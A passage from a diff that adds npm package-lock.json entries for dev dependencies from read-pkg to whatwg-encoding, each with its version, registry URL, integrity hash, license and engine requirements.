"sha512-9viLL4/n1BJUCT1NXVTdS1jtm80yDEgR5T4yCelII49Mbj0v1rZdKqj7zCiYdbB0CuCgdrvHcNogAKTFPBocFA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/normalize-package-data": "^2.4.3", + "normalize-package-data": "^6.0.0", + "parse-json": "^8.0.0", + "type-fest": "^4.6.0", + "unicorn-magic": "^0.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-pkg/node_modules/unicorn-magic": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.1.0.tgz", + "integrity": "sha512-lRfVq8fE8gz6QMBuDM6a+LO3IAzTi05H6gCVaUpir2E1Rwpo4ZUog45KpNXKC/Mn3Yb9UDuHumeFTo9iV/D9FQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/run-applescript": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/run-applescript/-/run-applescript-7.1.0.tgz", + "integrity": "sha512-DPe5pVFaAsinSaV6QjQ6gdiedWDcRCbUuiQfQa2wmWV7+xC9bGulGI8+TdRmoFkAPaBXk8CrAbnlY2ISniJ47Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true, + "license": "MIT" + }, + "node_modules/sax": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.4.4.tgz", + "integrity": "sha512-1n3r/tGXO6b6VXMdFT54SHzT9ytu9yr7TaELowdYpMqY/Ao7EnlQGmAQ1+RatX7Tkkdm6hONI2owqNx2aZj5Sw==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=11.0.0" + } + }, + "node_modules/secretlint": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/secretlint/-/secretlint-10.2.2.tgz", + "integrity": "sha512-xVpkeHV/aoWe4vP4TansF622nBEImzCY73y/0042DuJ29iKIaqgoJ8fGxre3rVSHHbxar4FdJobmTnLp9AU0eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@secretlint/config-creator": "^10.2.2", + "@secretlint/formatter": "^10.2.2", + "@secretlint/node": "^10.2.2", + "@secretlint/profiler": "^10.2.2", + "debug": "^4.4.1", + "globby": "^14.1.0", + "read-pkg": "^9.0.1" + }, + "bin": { + "secretlint": "bin/secretlint.js" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/side-channel": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", + "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3", + "side-channel-list": "^1.0.0", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz", + "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/simple-concat": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz", + "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "optional": true + }, + "node_modules/simple-get": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz", + "integrity": "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "optional": true, + "dependencies": { + "decompress-response": "^6.0.0", + "once": "^1.3.1", + "simple-concat": "^1.0.0" + } + }, + "node_modules/slash": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz", + "integrity": "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/spdx-correct": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.2.0.tgz", + "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-exceptions": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz", + "integrity": "sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==", + "dev": true, + "license": "CC-BY-3.0" + }, + "node_modules/spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-license-ids": { + "version": "3.0.23", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.23.tgz", + "integrity": "sha512-CWLcCCH7VLu13TgOH+r8p1O/Znwhqv/dbb6lqWy67G+pT1kHmeD/+V36AVb/vq8QMIQwVShJ6Ssl5FPh0fuSdw==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/structured-source": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/structured-source/-/structured-source-4.0.0.tgz", + "integrity": "sha512-qGzRFNJDjFieQkl/sVOI2dUjHKRyL9dAJi2gCPGJLbJHBIkyOHxjuocpIEfbLioX+qSJpvbYdT49/YCdMznKxA==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "boundary": "^2.0.0" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-hyperlinks": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-3.2.0.tgz", + "integrity": "sha512-zFObLMyZeEwzAoKCyu1B91U79K2t7ApXuQfo8OuxwXLDgcKxuwM+YvcbIhm6QWqz7mHUH1TVytR1PwVVjEuMig==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">=14.18" + }, + "funding": { + "url": "https://github.com/chalk/supports-hyperlinks?sponsor=1" + } + }, + "node_modules/table": { + "version": "6.9.0", + "resolved": "https://registry.npmjs.org/table/-/table-6.9.0.tgz", + "integrity": "sha512-9kY+CygyYM6j02t5YFHbNz2FN5QmYGv9zAjVp4lCDjlCw7amdckXlEt/bjMhUIfj4ThGRE4gCUH5+yGnNuPo5A==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "ajv": "^8.0.1", + "lodash.truncate": "^4.4.2", + "slice-ansi": "^4.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/table/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/table/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tar-fs": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz", + "integrity": "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "chownr": "^1.1.1", + "mkdirp-classic": "^0.5.2", + "pump": "^3.0.0", + "tar-stream": "^2.1.4" + } + }, + "node_modules/tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/terminal-link": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-4.0.0.tgz", + "integrity": "sha512-lk+vH+MccxNqgVqSnkMVKx4VLJfnLjDBGzH16JVZjKE2DoxP57s6/vt6JmXV5I3jBcfGrxNrYtC+mPtU7WJztA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-escapes": "^7.0.0", + "supports-hyperlinks": "^3.2.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==", + "dev": true, + "license": "MIT" + }, + "node_modules/textextensions": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/textextensions/-/textextensions-6.11.0.tgz", + "integrity": "sha512-tXJwSr9355kFJI3lbCkPpUH5cP8/M0GGy2xLO34aZCjMXBaK3SoPnZwr/oWmo1FdCnELcs4npdCIOFtq9W3ruQ==", + "dev": true, + "license": "Artistic-2.0", + "dependencies": { + "editions": "^6.21.0" + }, + "engines": { + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/tmp": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.5.tgz", + "integrity": "sha512-voyz6MApa1rQGUxT3E+BK7/ROe8itEx7vD8/HEvt4xwXucvQ5G5oeEiHkmHZJuBO21RpOf+YYm9MOivj709jow==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.14" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "dev": true, + "license": "0BSD" + }, + "node_modules/tunnel": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", + "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.6.11 <=0.7.0 || >=0.7.3" + } + }, + "node_modules/tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", + "dev": true, + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/type-fest": { + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/typed-rest-client": { + "version": "1.8.11", + "resolved": "https://registry.npmjs.org/typed-rest-client/-/typed-rest-client-1.8.11.tgz", + "integrity": "sha512-5UvfMpd1oelmUPRbbaVnq+rHP7ng2cE4qoQkQeAqxRL6PklkxsM0g32/HL0yfvruK6ojQ5x8EE+HF4YV6DtuCA==", + "dev": true, + "license": "MIT", + "dependencies": { + "qs": "^6.9.1", + "tunnel": "0.0.6", + "underscore": "^1.12.1" + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/uc.micro": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/uc.micro/-/uc.micro-2.1.0.tgz", + "integrity": "sha512-ARDJmphmdvUk6Glw7y9DQ2bFkKBHwQHLi2lsaH6PPmz/Ka9sFOBsBluozhDltWmnv9u/cF6Rt87znRTPV+yp/A==", + "dev": true, + "license": "MIT" + }, + "node_modules/underscore": { + "version": "1.13.8", + "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.8.tgz", + "integrity": "sha512-DXtD3ZtEQzc7M8m4cXotyHR+FAS18C64asBYY5vqZexfYryNNnDc02W4hKg3rdQuqOYas1jkseX0+nZXjTXnvQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/undici": { + "version": "7.22.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-7.22.0.tgz", + "integrity": "sha512-RqslV2Us5BrllB+JeiZnK4peryVTndy9Dnqq62S3yYRRTj0tFQCwEniUy2167skdGOy3vqRzEvl1Dm4sV2ReDg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=20.18.1" + } + }, + "node_modules/unicorn-magic": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.3.0.tgz", + "integrity": "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/url-join": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/url-join/-/url-join-4.0.1.tgz", + "integrity": "sha512-jk1+QP6ZJqyOiuEI9AEWQfju/nB2Pw466kbA0LEZljHwKeMgd9WrAEgEGxjPDD2+TNbbb37rTyhEfrCXfuKXnA==", + "dev": true, + "license": "MIT" + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true, + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/version-range": { + "version": "4.15.0", + "resolved": "https://registry.npmjs.org/version-range/-/version-range-4.15.0.tgz", + "integrity": "sha512-Ck0EJbAGxHwprkzFO966t4/5QkRuzh+/I1RxhLgUKKwEn+Cd8NwM60mE3AqBZg5gYODoXW0EFsQvbZjRlvdqbg==", + "dev": true, + "license": "Artistic-2.0", + "engines": { + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/whatwg-encoding": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", + "integrity": 